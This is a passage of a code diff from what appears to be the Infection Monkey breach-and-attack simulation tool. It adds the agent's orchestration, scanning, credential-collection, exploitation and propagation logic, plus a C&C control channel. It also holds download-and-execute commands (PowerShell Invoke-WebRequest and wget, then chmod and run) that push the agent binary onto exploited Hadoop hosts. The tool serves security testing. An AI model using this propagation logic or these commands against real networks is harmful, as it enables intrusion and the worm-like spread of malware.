host and its + services + :param str name: The name of the fingerprinter to run + :param str host: The domain name or IP address of a host + :param PingScanData ping_scan_data: Data retrieved from the target host via ICMP + :param Dict[int, PortScanData] port_scan_data: Data retrieved from the target host via a TCP + port scan + :param Dict options: A dictionary containing options that modify the behavior of the + fingerprinter + :return: Detailed information about the target host + :rtype: FingerprintData + """ + + @abc.abstractmethod + def exploit_host( + self, + name: str, + host: VictimHost, + current_depth: int, + options: Dict, + interrupt: threading.Event, + ) -> ExploiterResultData: + """ + Runs an exploiter against a remote host + :param str name: The name of the exploiter to run + :param VictimHost host: A VictimHost object representing the target to exploit + :param int current_depth: The current propagation depth + :param Dict options: A dictionary containing options that modify the behavior of the + exploiter + :param threading.Event interrupt: A threading.Event object that signals the exploit to stop + executing and clean itself up. + :return: True if exploitation was successful, False otherwise + :rtype: ExploiterResultData + """ + + @abc.abstractmethod + def run_payload(self, name: str, options: Dict, interrupt: threading.Event): + """ + Runs a payload + :param str name: The name of the payload to run + :param Dict options: A dictionary containing options that modify the behavior of the payload + :param threading.Event interrupt: A threading.Event object that signals the payload to stop + executing and clean itself up. + """ + + @abc.abstractmethod + def cleanup(self) -> None: + """ + Revert any changes made to the system by the puppet. + """ diff --git a/monkey/infection_monkey/i_puppet/plugin_type.py b/monkey/infection_monkey/i_puppet/plugin_type.py new file mode 100644 index 000000000..eddc179cd --- /dev/null +++ b/monkey/infection_monkey/i_puppet/plugin_type.py @@ -0,0 +1,9 @@ +from enum import Enum + + +class PluginType(Enum): + CREDENTIAL_COLLECTOR = "CredentialCollector" + EXPLOITER = "Exploiter" + FINGERPRINTER = "Fingerprinter" + PAYLOAD = "Payload" + POST_BREACH_ACTION = "PBA" diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index bb08f4b4f..74961e0ad 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -16,7 +16,7 @@ from infection_monkey.config import EXTERNAL_CONFIG_FILE, WormConfiguration from infection_monkey.dropper import MonkeyDrops from infection_monkey.model import DROPPER_ARG, MONKEY_ARG from infection_monkey.monkey import InfectionMonkey -from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path +from infection_monkey.utils.monkey_log_path import get_agent_log_path, get_dropper_log_path logger = None @@ -25,7 +25,7 @@ LOG_CONFIG = { "disable_existing_loggers": False, "formatters": { "standard": { - "format": "%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(" + "format": "%(asctime)s [%(process)d:%(threadName)s:%(levelname)s] %(module)s.%(" "funcName)s.%(lineno)d: %(message)s" }, }, @@ -80,7 +80,7 @@ def main(): try: if MONKEY_ARG == monkey_mode: - log_path = get_monkey_log_path() + log_path = get_agent_log_path() monkey_cls = InfectionMonkey elif DROPPER_ARG == monkey_mode: log_path = get_dropper_log_path() @@ -116,13 +116,12 @@ def main(): ) logger.info(f"version: {get_version()}") + logger.info(f"writing log file to {log_path}") monkey = monkey_cls(monkey_args) - monkey.initialize() try: monkey.start() - return True except Exception as e: logger.exception("Exception thrown from monkey's start function. More info: {}".format(e)) diff --git a/monkey/infection_monkey/master/__init__.py b/monkey/infection_monkey/master/__init__.py new file mode 100644 index 000000000..98ed6db0b --- /dev/null +++ b/monkey/infection_monkey/master/__init__.py @@ -0,0 +1,5 @@ +from .ip_scan_results import IPScanResults +from .ip_scanner import IPScanner +from .exploiter import Exploiter +from .propagator import Propagator +from .automated_master import AutomatedMaster diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py new file mode 100644 index 000000000..af263af6e --- /dev/null +++ b/monkey/infection_monkey/master/automated_master.py @@ -0,0 +1,239 @@ +import logging +import threading +import time +from typing import Any, Callable, Dict, Iterable, List, Mapping, Optional, Tuple + +from infection_monkey.credential_store import ICredentialsStore +from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError +from infection_monkey.i_master import IMaster +from infection_monkey.i_puppet import IPuppet +from infection_monkey.model import VictimHostFactory +from infection_monkey.network import NetworkInterface +from infection_monkey.telemetry.credentials_telem import CredentialsTelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem +from infection_monkey.utils.threading import create_daemon_thread, interruptible_iter +from infection_monkey.utils.timer import Timer + +from . import Exploiter, IPScanner, Propagator +from .option_parsing import custom_pba_is_enabled + +CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC = 5 +CHECK_FOR_TERMINATE_INTERVAL_SEC = CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC / 5 +SHUTDOWN_TIMEOUT = 5 +NUM_SCAN_THREADS = 16 # TODO: Adjust this to the optimal number of scan threads +NUM_EXPLOIT_THREADS = 4 # TODO: Adjust this to the optimal number of exploit threads +CHECK_FOR_STOP_AGENT_COUNT = 5 +CHECK_FOR_CONFIG_COUNT = 3 + +logger = logging.getLogger() + + +class AutomatedMaster(IMaster): + def __init__( + self, + current_depth: Optional[int], + puppet: IPuppet, + telemetry_messenger: ITelemetryMessenger, + victim_host_factory: VictimHostFactory, + control_channel: IControlChannel, + local_network_interfaces: List[NetworkInterface], + credentials_store: ICredentialsStore, + ): + self._current_depth = current_depth + self._puppet = puppet + self._telemetry_messenger = telemetry_messenger + self._control_channel = control_channel + + ip_scanner = IPScanner(self._puppet, NUM_SCAN_THREADS) + + exploiter = Exploiter(self._puppet, NUM_EXPLOIT_THREADS, credentials_store.get_credentials) + self._propagator = Propagator( + self._telemetry_messenger, + ip_scanner, + exploiter, + victim_host_factory, + local_network_interfaces, + ) + + self._stop = threading.Event() + self._master_thread = create_daemon_thread( + target=self._run_master_thread, name="AutomatedMasterThread" + ) + self._simulation_thread = create_daemon_thread( + target=self._run_simulation, name="SimulationThread" + ) + + def start(self): + logger.info("Starting automated breach and attack simulation") + self._master_thread.start() + self._master_thread.join() + logger.info("The simulation has been shutdown.") + + def terminate(self, block: bool = False): + logger.info("Stopping automated breach and attack simulation") + self._stop.set() + + if self._master_thread.is_alive() and block: + self._master_thread.join() + # We can only have confidence that the master terminated successfully if block is set + # and join() has returned. + logger.info("AutomatedMaster successfully terminated.") + + def _run_master_thread(self): + self._simulation_thread.start() + + self._wait_for_master_stop_condition() + + logger.debug("Waiting for the simulation thread to stop") + self._simulation_thread.join(SHUTDOWN_TIMEOUT) + + if self._simulation_thread.is_alive(): + logger.warning("Timed out waiting for the simulation to stop") + # Since the master thread and all child threads are daemon threads, they will be + # forcefully killed when the program exits. + logger.warning("Forcefully killing the simulation") + + def _wait_for_master_stop_condition(self): + logger.debug( + "Checking for the stop signal from the island every " + f"{CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC} seconds." + ) + timer = Timer() + timer.set(CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC) + + while self._master_thread_should_run(): + if timer.is_expired(): + self._check_for_stop() + timer.reset() + + time.sleep(CHECK_FOR_TERMINATE_INTERVAL_SEC) + + @staticmethod + def _try_communicate_with_island(fn: Callable[[], Any], max_tries: int): + tries = 0 + while tries < max_tries: + try: + return fn() + except IslandCommunicationError as e: + tries += 1 + logger.debug(f"{e}. Retries left: {max_tries-tries}") + if tries >= max_tries: + raise e + + def _check_for_stop(self): + try: + stop = AutomatedMaster._try_communicate_with_island( + self._control_channel.should_agent_stop, CHECK_FOR_STOP_AGENT_COUNT + ) + if stop: + logger.info('Received the "stop" signal from the Island') + self._stop.set() + except IslandCommunicationError as e: + logger.error(f"An error occurred while trying to check for agent stop: {e}") + self._stop.set() + + def _master_thread_should_run(self): + return (not self._stop.is_set()) and self._simulation_thread.is_alive() + + def _run_simulation(self): + try: + config = AutomatedMaster._try_communicate_with_island( + self._control_channel.get_config, CHECK_FOR_CONFIG_COUNT + )["config"] + except IslandCommunicationError as e: + logger.error(f"An error occurred while fetching configuration: {e}") + return + + credential_collector_thread = create_daemon_thread( + target=self._run_plugins, + name="CredentialCollectorThread", + args=( + config["credential_collector_classes"], + "credential collector", + self._collect_credentials, + ), + ) + pba_thread = create_daemon_thread( + target=self._run_pbas, + name="PBAThread", + args=(config["post_breach_actions"].items(), self._run_pba, config["custom_pbas"]), + ) + + credential_collector_thread.start() + pba_thread.start() + + # Future stages of the simulation require the output of the system info collectors. Nothing + # requires the output of PBAs, so we don't need to join on that thread here. We will join on + # the PBA thread later in this function to prevent the simulation from ending while PBAs are + # still running. + credential_collector_thread.join() + + current_depth = self._current_depth if self._current_depth is not None else config["depth"] + logger.info(f"Current depth is {current_depth}") + + if self._can_propagate() and current_depth > 0: + self._propagator.propagate(config["propagation"], current_depth, self._stop) + + payload_thread = create_daemon_thread( + target=self._run_plugins, + name="PayloadThread", + args=(config["payloads"].items(), "payload", self._run_payload), + ) + payload_thread.start() + payload_thread.join() + + pba_thread.join() + + def _collect_credentials(self, collector: str): + credentials = self._puppet.run_credential_collector(collector, {}) + + if credentials: + self._telemetry_messenger.send_telemetry(CredentialsTelem(credentials)) + else: + logger.debug(f"No credentials were collected by {collector}") + + def _run_pba(self, pba: Tuple[str, Dict]): + name = pba[0] + options = pba[1] + + for pba_data in self._puppet.run_pba(name, options): + self._telemetry_messenger.send_telemetry(PostBreachTelem(pba_data)) + + def _can_propagate(self) -> bool: + return True + + def _run_payload(self, payload: Tuple[str, Dict]): + name = payload[0] + options = payload[1] + + self._puppet.run_payload(name, options, self._stop) + + def _run_pbas( + self, plugins: Iterable[Any], callback: Callable[[Any], None], custom_pba_options: Mapping + ): + self._run_plugins(plugins, "post-breach action", callback) + + if custom_pba_is_enabled(custom_pba_options): + self._run_plugins([("CustomPBA", custom_pba_options)], "post-breach action", callback) + + def _run_plugins( + self, plugins: Iterable[Any], plugin_type: str, callback: Callable[[Any], None] + ): + logger.info(f"Running {plugin_type}s") + logger.debug(f"Found {len(plugins)} {plugin_type}(s) to run") + + interrupted_message = f"Received a stop signal, skipping remaining {plugin_type}s" + for p in interruptible_iter(plugins, self._stop, interrupted_message): + try: + callback(p) + except Exception: + logger.exception( + f"Got unhandled exception when running {plugin_type} plugin {p}. " + f"Plugin was passed to {callback}" + ) + + logger.info(f"Finished running {plugin_type}s") + + def cleanup(self): + pass diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py new file mode 100644 index 000000000..7795a35f7 --- /dev/null +++ b/monkey/infection_monkey/master/control_channel.py @@ -0,0 +1,91 @@ +import json +import logging + +import requests + +from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT +from infection_monkey.config import WormConfiguration +from infection_monkey.control import ControlClient +from infection_monkey.custom_types import PropagationCredentials +from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError + +requests.packages.urllib3.disable_warnings() + +logger = logging.getLogger(__name__) + + +class ControlChannel(IControlChannel): + def __init__(self, server: str, agent_id: str): + self._agent_id = agent_id + self._control_channel_server = server + + def should_agent_stop(self) -> bool: + if not self._control_channel_server: + logger.error("Agent should stop because it can't connect to the C&C server.") + return True + try: + url = ( + f"https://{self._control_channel_server}/api/monkey_control" + f"/needs-to-stop/{self._agent_id}" + ) + response = requests.get( # noqa: DUO123 + url, + verify=False, + proxies=ControlClient.proxies, + timeout=SHORT_REQUEST_TIMEOUT, + ) + response.raise_for_status() + + response = json.loads(response.content.decode()) + return response["stop_agent"] + except ( + json.JSONDecodeError, + requests.exceptions.ConnectionError, + requests.exceptions.Timeout, + requests.exceptions.TooManyRedirects, + requests.exceptions.HTTPError, + ) as e: + raise IslandCommunicationError(e) + + def get_config(self) -> dict: + try: + response = requests.get( # noqa: DUO123 + "https://%s/api/monkey/%s" % (WormConfiguration.current_server, self._agent_id), + verify=False, + proxies=ControlClient.proxies, + timeout=SHORT_REQUEST_TIMEOUT, + ) + response.raise_for_status() + + return json.loads(response.content.decode()) + except ( + json.JSONDecodeError, + requests.exceptions.ConnectionError, + requests.exceptions.Timeout, + requests.exceptions.TooManyRedirects, + requests.exceptions.HTTPError, + ) as e: + raise IslandCommunicationError(e) + + def get_credentials_for_propagation(self) -> PropagationCredentials: + propagation_credentials_url = ( + f"https://{self._control_channel_server}/api/propagation-credentials/{self._agent_id}" + ) + try: + response = requests.get( # noqa: DUO123 + propagation_credentials_url, + verify=False, + proxies=ControlClient.proxies, + timeout=SHORT_REQUEST_TIMEOUT, + ) + response.raise_for_status() + + return json.loads(response.content.decode())["propagation_credentials"] + except ( + json.JSONDecodeError, + requests.exceptions.ConnectionError, + requests.exceptions.Timeout, + requests.exceptions.TooManyRedirects, + requests.exceptions.HTTPError, + ) as e: + raise IslandCommunicationError(e) diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py new file mode 100644 index 000000000..b9eada5b6 --- /dev/null +++ b/monkey/infection_monkey/master/exploiter.py @@ -0,0 +1,174 @@ +import logging +import queue +import threading +from copy import deepcopy +from itertools import chain +from queue import Queue +from threading import Event +from typing import Callable, Dict, List, Mapping + +from infection_monkey.custom_types import PropagationCredentials +from infection_monkey.i_puppet import ExploiterResultData, IPuppet +from infection_monkey.model import VictimHost +from infection_monkey.utils.threading import interruptible_iter, run_worker_threads + +QUEUE_TIMEOUT = 2 + +logger = logging.getLogger() + +ExploiterName = str +Callback = Callable[[ExploiterName, VictimHost, ExploiterResultData], None] + + +class Exploiter: + def __init__( + self, + puppet: IPuppet, + num_workers: int, + get_updated_credentials_for_propagation: Callable[[], PropagationCredentials], + ): + self._puppet = puppet + self._num_workers = num_workers + self._get_updated_credentials_for_propagation = get_updated_credentials_for_propagation + + def exploit_hosts( + self, + exploiter_config: Dict, + hosts_to_exploit: Queue, + current_depth: int, + results_callback: Callback, + scan_completed: Event, + stop: Event, + ): + exploiters_to_run = self._process_exploiter_config(exploiter_config) + logger.debug( + "Agent is configured to run the following exploiters in order: " + f"{', '.join([e['name'] for e in exploiters_to_run])}" + ) + + exploit_args = ( + exploiters_to_run, + hosts_to_exploit, + current_depth, + results_callback, + scan_completed, + stop, + ) + run_worker_threads( + target=self._exploit_hosts_on_queue, + name_prefix="ExploiterThread", + args=exploit_args, + num_workers=self._num_workers, + ) + + @staticmethod + def _process_exploiter_config(exploiter_config: Mapping) -> List[Mapping]: + # Run vulnerability exploiters before brute force exploiters to minimize the effect of + # account lockout due to invalid credentials + ordered_exploiters = chain( + exploiter_config["vulnerability"], exploiter_config["brute_force"] + ) + exploiters_to_run = list(deepcopy(ordered_exploiters)) + + for exploiter in exploiters_to_run: + # This order allows exploiter-specific options to + # override general options for all exploiters. + exploiter["options"] = {**exploiter_config["options"], **exploiter["options"]} + + return exploiters_to_run + + def _exploit_hosts_on_queue( + self, + exploiters_to_run: List[Dict], + hosts_to_exploit: Queue, + current_depth: int, + results_callback: Callback, + scan_completed: Event, + stop: Event, + ): + logger.debug(f"Starting exploiter thread -- Thread ID: {threading.get_ident()}") + + while not stop.is_set(): + try: + victim_host = hosts_to_exploit.get(timeout=QUEUE_TIMEOUT) + self._run_all_exploiters( + exploiters_to_run, victim_host, current_depth, results_callback, stop + ) + except queue.Empty: + if _all_hosts_have_been_processed(scan_completed, hosts_to_exploit): + break + + logger.debug( + f"Exiting exploiter thread -- Thread ID: {threading.get_ident()} -- " + f"stop.is_set(): {stop.is_set()} -- network_scan_completed: " + f"{scan_completed.is_set()}" + ) + + def _run_all_exploiters( + self, + exploiters_to_run: List[Dict], + victim_host: VictimHost, + current_depth: int, + results_callback: Callback, + stop: Event, + ): + + for exploiter in interruptible_iter(exploiters_to_run, stop): + exploiter_name = exploiter["name"] + victim_os = victim_host.os.get("type") + + # We want to try all exploiters if the victim's OS is unknown + if victim_os is not None and victim_os not in exploiter["supported_os"]: + logger.debug( + f"Skipping {exploiter_name} because it does not support " + f"the victim's OS ({victim_os})" + ) + continue + + exploiter_results = self._run_exploiter( + exploiter_name, exploiter["options"], victim_host, current_depth, stop + ) + results_callback(exploiter_name, victim_host, exploiter_results) + + if exploiter_results.propagation_success: + break + + def _run_exploiter( + self, + exploiter_name: str, + options: Dict, + victim_host: VictimHost, + current_depth: int, + stop: Event, + ) -> ExploiterResultData: + logger.debug(f"Attempting to use {exploiter_name} on {victim_host.ip_addr}") + + credentials = self._get_credentials_for_propagation() + options = {"credentials": credentials, **options} + + try: + return self._puppet.exploit_host( + exploiter_name, victim_host, current_depth, options, stop + ) + except Exception as ex: + msg = ( + f"An unexpected error occurred while exploiting {victim_host.ip_addr} with " + f"{exploiter_name}: {ex}" + ) + logger.error(msg) + + return ExploiterResultData( + exploitation_success=False, propagation_success=False, error_message=msg + ) + + def _get_credentials_for_propagation(self) -> PropagationCredentials: + try: + return self._get_updated_credentials_for_propagation() + except Exception as ex: + logger.error(f"Error while attempting to retrieve credentials for propagation: {ex}") + + return {} + + +def _all_hosts_have_been_processed(scan_completed: Event, hosts_to_exploit: Queue): + return scan_completed.is_set() and hosts_to_exploit.empty() diff --git a/monkey/infection_monkey/master/ip_scan_results.py b/monkey/infection_monkey/master/ip_scan_results.py new file mode 100644 index 000000000..98f7b6646 --- /dev/null +++ b/monkey/infection_monkey/master/ip_scan_results.py @@ -0,0 +1,14 @@ +from dataclasses import dataclass +from typing import Dict + +from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData + +Port = int +FingerprinterName = str + + +@dataclass +class IPScanResults: + ping_scan_data: PingScanData + port_scan_data: Dict[Port, PortScanData] + fingerprint_data: Dict[FingerprinterName, FingerprintData] diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py new file mode 100644 index 000000000..8c0ea5caa --- /dev/null +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -0,0 +1,105 @@ +import logging +import queue +import threading +from queue import Queue +from threading import Event +from typing import Any, Callable, Dict, List + +from infection_monkey.i_puppet import ( + FingerprintData, + IPuppet, + PingScanData, + PortScanData, + PortStatus, +) +from infection_monkey.network import NetworkAddress +from infection_monkey.utils.threading import interruptible_iter, run_worker_threads + +from . import IPScanResults + +logger = logging.getLogger() + +Callback = Callable[[NetworkAddress, IPScanResults], None] + + +class IPScanner: + def __init__(self, puppet: IPuppet, num_workers: int): + self._puppet = puppet + self._num_workers = num_workers + + def scan( + self, + addresses_to_scan: List[NetworkAddress], + options: Dict, + results_callback: Callback, + stop: Event, + ): + # Pre-fill a Queue with all IPs to scan so that threads know they can safely exit when the + # queue is empty. + addresses = Queue() + for address in addresses_to_scan: + addresses.put(address) + + scan_ips_args = (addresses, options, results_callback, stop) + run_worker_threads( + target=self._scan_addresses, + name_prefix="ScanThread", + args=scan_ips_args, + num_workers=self._num_workers, + ) + + def _scan_addresses( + self, addresses: Queue, options: Dict, results_callback: Callback, stop: Event + ): + logger.debug(f"Starting scan thread -- Thread ID: {threading.get_ident()}") + icmp_timeout = options["icmp"]["timeout_ms"] / 1000 + tcp_timeout = options["tcp"]["timeout_ms"] / 1000 + tcp_ports = options["tcp"]["ports"] + + try: + while not stop.is_set(): + address = addresses.get_nowait() + logger.info(f"Scanning {address.ip}") + + ping_scan_data = self._puppet.ping(address.ip, icmp_timeout) + port_scan_data = self._puppet.scan_tcp_ports(address.ip, tcp_ports, tcp_timeout) + + fingerprint_data = {} + if IPScanner.port_scan_found_open_port(port_scan_data): + fingerprinters = options["fingerprinters"] + fingerprint_data = self._run_fingerprinters( + address.ip, fingerprinters, ping_scan_data, port_scan_data, stop + ) + + scan_results = IPScanResults(ping_scan_data, port_scan_data, fingerprint_data) + results_callback(address, scan_results) + + logger.debug( + f"Detected the stop signal, scanning thread {threading.get_ident()} exiting" + ) + + except queue.Empty: + logger.debug( + f"ips_to_scan queue is empty, scanning thread {threading.get_ident()} exiting" + ) + + @staticmethod + def port_scan_found_open_port(port_scan_data: Dict[int, PortScanData]): + return any(psd.status == PortStatus.OPEN for psd in port_scan_data.values()) + + def _run_fingerprinters( + self, + ip: str, + fingerprinters: List[Dict[str, Any]], + ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + stop: Event, + ) -> Dict[str, FingerprintData]: + fingerprint_data = {} + + for f in interruptible_iter(fingerprinters, stop): + fingerprint_data[f["name"]] = self._puppet.fingerprint( + f["name"], ip, ping_scan_data, port_scan_data, f["options"] + ) + + return fingerprint_data diff --git a/monkey/infection_monkey/master/option_parsing.py b/monkey/infection_monkey/master/option_parsing.py new file mode 100644 index 000000000..c35bf6303 --- /dev/null +++ b/monkey/infection_monkey/master/option_parsing.py @@ -0,0 +1,13 @@ +from typing import Dict + +from infection_monkey.utils.environment import is_windows_os + + +def custom_pba_is_enabled(pba_options: Dict) -> bool: + if not is_windows_os(): + if pba_options["linux_command"]: + return True + else: + if pba_options["windows_command"]: + return True + return False diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py new file mode 100644 index 000000000..be4d6caf2 --- /dev/null +++ b/monkey/infection_monkey/master/propagator.py @@ -0,0 +1,171 @@ +import logging +from queue import Queue +from threading import Event +from typing import Dict, List + +from infection_monkey.i_puppet import ( + ExploiterResultData, + FingerprintData, + PingScanData, + PortScanData, + PortStatus, +) +from infection_monkey.model import VictimHost, VictimHostFactory +from infection_monkey.network import NetworkAddress, NetworkInterface +from infection_monkey.network_scanning.scan_target_generator import compile_scan_target_list +from infection_monkey.telemetry.exploit_telem import ExploitTelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.telemetry.scan_telem import ScanTelem +from infection_monkey.utils.threading import create_daemon_thread + +from . import Exploiter, IPScanner, IPScanResults + +logger = logging.getLogger() + + +class Propagator: + def __init__( + self, + telemetry_messenger: ITelemetryMessenger, + ip_scanner: IPScanner, + exploiter: Exploiter, + victim_host_factory: VictimHostFactory, + local_network_interfaces: List[NetworkInterface], + ): + self._telemetry_messenger = telemetry_messenger + self._ip_scanner = ip_scanner + self._exploiter = exploiter + self._victim_host_factory = victim_host_factory + self._local_network_interfaces = local_network_interfaces + self._hosts_to_exploit = None + + def propagate(self, propagation_config: Dict, current_depth: int, stop: Event): + logger.info("Attempting to propagate") + + network_scan_completed = Event() + self._hosts_to_exploit = Queue() + + scan_thread = create_daemon_thread( + target=self._scan_network, name="PropagatorScanThread", args=(propagation_config, stop) + ) + exploit_thread = create_daemon_thread( + target=self._exploit_hosts, + name="PropagatorExploitThread", + args=(propagation_config, current_depth, network_scan_completed, stop), + ) + + scan_thread.start() + exploit_thread.start() + + scan_thread.join() + network_scan_completed.set() + + exploit_thread.join() + + logger.info("Finished attempting to propagate") + + def _scan_network(self, propagation_config: Dict, stop: Event): + logger.info("Starting network scan") + + target_config = propagation_config["targets"] + scan_config = propagation_config["network_scan"] + + addresses_to_scan = self._compile_scan_target_list(target_config) + self._ip_scanner.scan(addresses_to_scan, scan_config, self._process_scan_results, stop) + + logger.info("Finished network scan") + + def _compile_scan_target_list(self, target_config: Dict) -> List[NetworkAddress]: + ranges_to_scan = target_config["subnet_scan_list"] + inaccessible_subnets = target_config["inaccessible_subnets"] + blocklisted_ips = target_config["blocked_ips"] + enable_local_network_scan = target_config["local_network_scan"] + + return compile_scan_target_list( + self._local_network_interfaces, + ranges_to_scan, + inaccessible_subnets, + blocklisted_ips, + enable_local_network_scan, + ) + + def _process_scan_results(self, address: NetworkAddress, scan_results: IPScanResults): + victim_host = self._victim_host_factory.build_victim_host(address) + + Propagator._process_ping_scan_results(victim_host, scan_results.ping_scan_data) + Propagator._process_tcp_scan_results(victim_host, scan_results.port_scan_data) + Propagator._process_fingerprinter_results(victim_host, scan_results.fingerprint_data) + + if IPScanner.port_scan_found_open_port(scan_results.port_scan_data): + self._hosts_to_exploit.put(victim_host) + + self._telemetry_messenger.send_telemetry(ScanTelem(victim_host)) + + @staticmethod + def _process_ping_scan_results(victim_host: VictimHost, ping_scan_data: PingScanData): + victim_host.icmp = ping_scan_data.response_received + if ping_scan_data.os is not None: + victim_host.os["type"] = ping_scan_data.os + + @staticmethod + def _process_tcp_scan_results(victim_host: VictimHost, port_scan_data: PortScanData): + for psd in filter(lambda psd: psd.status == PortStatus.OPEN, port_scan_data.values()): + victim_host.services[psd.service] = {} + victim_host.services[psd.service]["display_name"] = "unknown(TCP)" + victim_host.services[psd.service]["port"] = psd.port + if psd.banner is not None: + victim_host.services[psd.service]["banner"] = psd.banner + + @staticmethod + def _process_fingerprinter_results(victim_host: VictimHost, fingerprint_data: FingerprintData): + for fd in fingerprint_data.values(): + # TODO: This logic preserves the existing behavior prior to introducing IMaster and + # IPuppet, but it is possibly flawed. Different fingerprinters may detect + # different os types or versions, and this logic isn't sufficient to handle those + # conflicts. Reevaluate this logic when we overhaul our scanners/fingerprinters. + if fd.os_type is not None: + victim_host.os["type"] = fd.os_type + + if ("version" not in victim_host.os) and (fd.os_version is not None): + victim_host.os["version"] = fd.os_version + + for service, details in fd.services.items(): + victim_host.services.setdefault(service, {}).update(details) + + def _exploit_hosts( + self, + propagation_config: Dict, + current_depth: int, + network_scan_completed: Event, + stop: Event, + ): + logger.info("Exploiting victims") + + exploiter_config = propagation_config["exploiters"] + self._exploiter.exploit_hosts( + exploiter_config, + self._hosts_to_exploit, + current_depth, + self._process_exploit_attempts, + network_scan_completed, + stop, + ) + + logger.info("Finished exploiting victims") + + def _process_exploit_attempts( + self, exploiter_name: str, host: VictimHost, result: ExploiterResultData + ): + if result.propagation_success: + logger.info(f"Successfully propagated to {host} using {exploiter_name}") + elif result.exploitation_success: + logger.info( + f"Successfully exploited (but did not propagate to) {host} using {exploiter_name}" + ) + else: + logger.info( + f"Failed to exploit or propagate to {host} using {exploiter_name}: " + f"{result.error_message}" + ) + + self._telemetry_messenger.send_telemetry(ExploitTelem(exploiter_name, host, result)) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index c0429fc8b..19f96cdae 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,4 +1,5 @@ from infection_monkey.model.host import VictimHost +from infection_monkey.model.victim_host_factory import VictimHostFactory MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" @@ -42,20 +43,28 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = "%(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING -# Architecture checking commands -GET_ARCH_WINDOWS = "wmic os get osarchitecture" -GET_ARCH_LINUX = "lscpu" -# All in one commands (upload, change permissions, run) HADOOP_WINDOWS_COMMAND = ( "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " '{& %(monkey_path)s %(monkey_type)s %(parameters)s } "' ) +# The hadoop server may request another monkey executable after the attacker's HTTP server has shut +# down. This will result in wget creating a zero-length file, which needs to be removed. Using the +# `--no-clobber` option prevents two simultaneously running wget commands from interfering with +# eachother (one will fail and the other will succeed). +# +# If wget creates a zero-length file (because it was unable to contact the attacker's HTTP server), +# it needs to remove the file. It sleeps to minimize the risk that the file was created by another +# concurrently running wget and then removes the file if it is still zero-length after the sleep. +# +# This doesn't eleminate all race conditions, but should be good enough (in the short term) for all +# practical purposes. In the future, using randomized names for the monkey binary (which is a good +# practice anyway) would eleminate most of these issues. HADOOP_LINUX_COMMAND = ( - "! [ -f %(monkey_path)s ] " - "&& wget -O %(monkey_path)s %(http_path)s " + "wget --no-clobber -O %(monkey_path)s %(http_path)s " + "|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) " "; chmod +x %(monkey_path)s " "&& %(monkey_path)s %(monkey_type)s %(parameters)s" ) diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 892004eb3..95cc85810 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -1,11 +1,13 @@ +from typing import Optional + + class VictimHost(object): - def __init__(self, ip_addr, domain_name=""): + def __init__(self, ip_addr: str, domain_name: str = ""): self.ip_addr = ip_addr self.domain_name = str(domain_name) self.os = {} self.services = {} self.icmp = False - self.monkey_exe = None self.default_tunnel = None self.default_server = None @@ -39,8 +41,7 @@ class VictimHost(object): for k, v in list(self.services.items()): victim += "%s-%s " % (k, v) victim += "] ICMP: %s " % (self.icmp) - victim += "target monkey: %s" % self.monkey_exe return victim - def set_default_server(self, default_server): - self.default_server = default_server + def set_island_address(self, ip: str, port: Optional[str]): + self.default_server = f"{ip}:{port}" if port else f"{ip}" diff --git a/monkey/infection_monkey/model/victim_host_factory.py b/monkey/infection_monkey/model/victim_host_factory.py new file mode 100644 index 000000000..a6b56532e --- /dev/null +++ b/monkey/infection_monkey/model/victim_host_factory.py @@ -0,0 +1,50 @@ +import logging +from typing import Optional, Tuple + +from infection_monkey.model import VictimHost +from infection_monkey.network import NetworkAddress +from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.tunnel import MonkeyTunnel + +logger = logging.getLogger(__name__) + + +class VictimHostFactory: + def __init__( + self, + tunnel: Optional[MonkeyTunnel], + island_ip: Optional[str], + island_port: Optional[str], + on_island: bool, + ): + self.tunnel = tunnel + self.island_ip = island_ip + self.island_port = island_port + self.on_island = on_island + + def build_victim_host(self, network_address: NetworkAddress) -> VictimHost: + domain = network_address.domain or "" + victim_host = VictimHost(network_address.ip, domain) + + if self.tunnel: + victim_host.default_tunnel = self.tunnel.get_tunnel_for_ip(victim_host.ip_addr) + + if self.island_ip: + ip, port = self._choose_island_address(victim_host.ip_addr) + victim_host.set_island_address(ip, port) + + logger.debug(f"Default tunnel for {victim_host} set to 